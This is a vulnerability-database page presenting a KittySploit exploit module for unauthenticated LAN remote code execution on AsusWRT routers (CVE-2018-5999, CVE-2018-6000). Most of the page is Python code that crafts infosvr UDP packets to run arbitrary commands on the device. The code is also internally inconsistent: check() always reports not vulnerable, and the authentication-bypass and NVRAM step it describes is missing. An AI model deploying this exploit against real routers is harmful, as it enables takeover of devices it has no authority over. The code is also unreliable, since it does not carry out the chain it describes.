Lucene search
+L

AsusWRT Lan RCE

🗓️ 19 Aug 2026 05:37:22Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 8 Views

Remote code execution in AsusWRT firmware via HTTP server and VPN config upload.

Related
Refs
Code
ReporterTitlePublishedViews
Family
zdt
zdt
AsusWRT LAN Unauthenticated Remote Code Execution Exploit
23 Feb 201800:00
–zdt
circl
Circl
CVE-2018-5999
26 Feb 201800:00
–circl
circl
Circl
CVE-2018-6000
26 Feb 201800:00
–circl
cnvd
CNVD
AsusWRT router/httpd/httpd.c file access bypass vulnerability
23 Jan 201800:00
–cnvd
cnvd
CNVD
ASUSWRT Device Unauthenticated Modified Configuration Vulnerability
23 Jan 201800:00
–cnvd
cve
CVE
CVE-2018-5999
22 Jan 201820:00
–cve
cve
CVE
CVE-2018-6000
22 Jan 201820:00
–cve
cvelist
Cvelist
CVE-2018-5999
22 Jan 201820:00
–cvelist
cvelist
Cvelist
CVE-2018-6000
22 Jan 201820:00
–cvelist
exploitdb
Exploit DB
AsusWRT Router < 3.0.0.4.380.7743 - LAN Remote Code Execution
22 Jan 201800:00
–exploitdb
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""AsusWRT Lan RCE"""

import struct
import socket

from kittysploit import *
from lib.exploit.handler import Handler


class Module(Exploit, Handler):
    __info__ = {
        'name': 'AsusWRT Lan RCE',
        'description': 'Module exploits multiple vulnerabilities to achieve remote code execution in AsusWRT firmware. The HTTP server contains vulnerability that allows bypass authentication via POST requests. Combining this with another vulnerability in the VPN configuration upload functionality allows setting NVRAM configuration variables directly from the POST request. By setting nvram variable ateCommand_flag to 1 it is possible to enable special command mode which allows executing commands via infosvr server listening on port UDP 9999. Module was tested on Asus RT-AC68U 3.0.0.4.380_7378.',
        'author': ['Pedro Ribeiro', 'Marcin Bury'],
        'cve': ['CVE-2018-5999', 'CVE-2018-6000'],
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2018-5999', 'https://nvd.nist.gov/vuln/detail/CVE-2018-6000', 'https://blogs.securiteam.com/index.php/archives/3589', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/asuswrt-lan-rce.txt', 'http://seclists.org/fulldisclosure/2018/Jan/78'],
        'tags': ['iot', 'router', 'rce', 'unauth', 'cve-2018-5999', 'cve-2018-6000'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.5,
            'value': 1.0,
        },
    }

    target = OptIP("", "Target IPv4 or IPv6 address")
    port = OptPort(80, "Target HTTP port")
    infosvr_port = OptPort(9999, "Target InfoSVR Port")

    def execute(self, cmd):
        ibox_comm_pkt_hdr_ex = (
            pack("<B", 0x0c) +                      # NET_SERVICE_ID_IBOX_INFO 0xC
            pack("<B", 0x15) +                      # NET_PACKET_TYPE_CMD 0x15
            pack("<H", 0x33) +                      # NET_CMD_ID_MANU_CMD 0x33
            bytes(self.random_text(4), "utf-8") +  # INFO
            bytes(self.random_text(6), "utf-8") +  # MAC Address
            bytes(self.random_text(32), "utf-8")   # Password
        )

        cmd = bytes(cmd, "utf-8") + pack("<B", 0x00)
        pkt_syscmd = (
            pack("<H", len(cmd)) +
            cmd
        )

        payload = ibox_comm_pkt_hdr_ex + pkt_syscmd + bytes(self.random_text(512 - len(ibox_comm_pkt_hdr_ex + pkt_syscmd)), "utf-8")

        udp_client = self.udp_create(port=self.infosvr_port)
        udp_client.send(payload)
        response = udp_client.recv(512)
        udp_client.close()

        if response and len(response) == 512:
            length = unpack('<H', response[14:16])[0]
            return str(response[16: 16 + length], "utf-8")

        return ""
    def check(self):
        return {"vulnerable": False, "reason": "Unable to verify", "confidence": "low"}

    def run(self):
        result = self.check()
        if isinstance(result, dict):
            if not result.get("vulnerable"):
                self.not_vulnerable()
                return False
        elif not result:
            self.not_vulnerable()
            return False
        print_success("Target appears vulnerable")
        return self.handler_execute()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

19 Aug 2026 05:37Current
8.9High risk
Vulners AI Score8.9
CVSS 39.8
CVSS 210
EPSS0.87638
8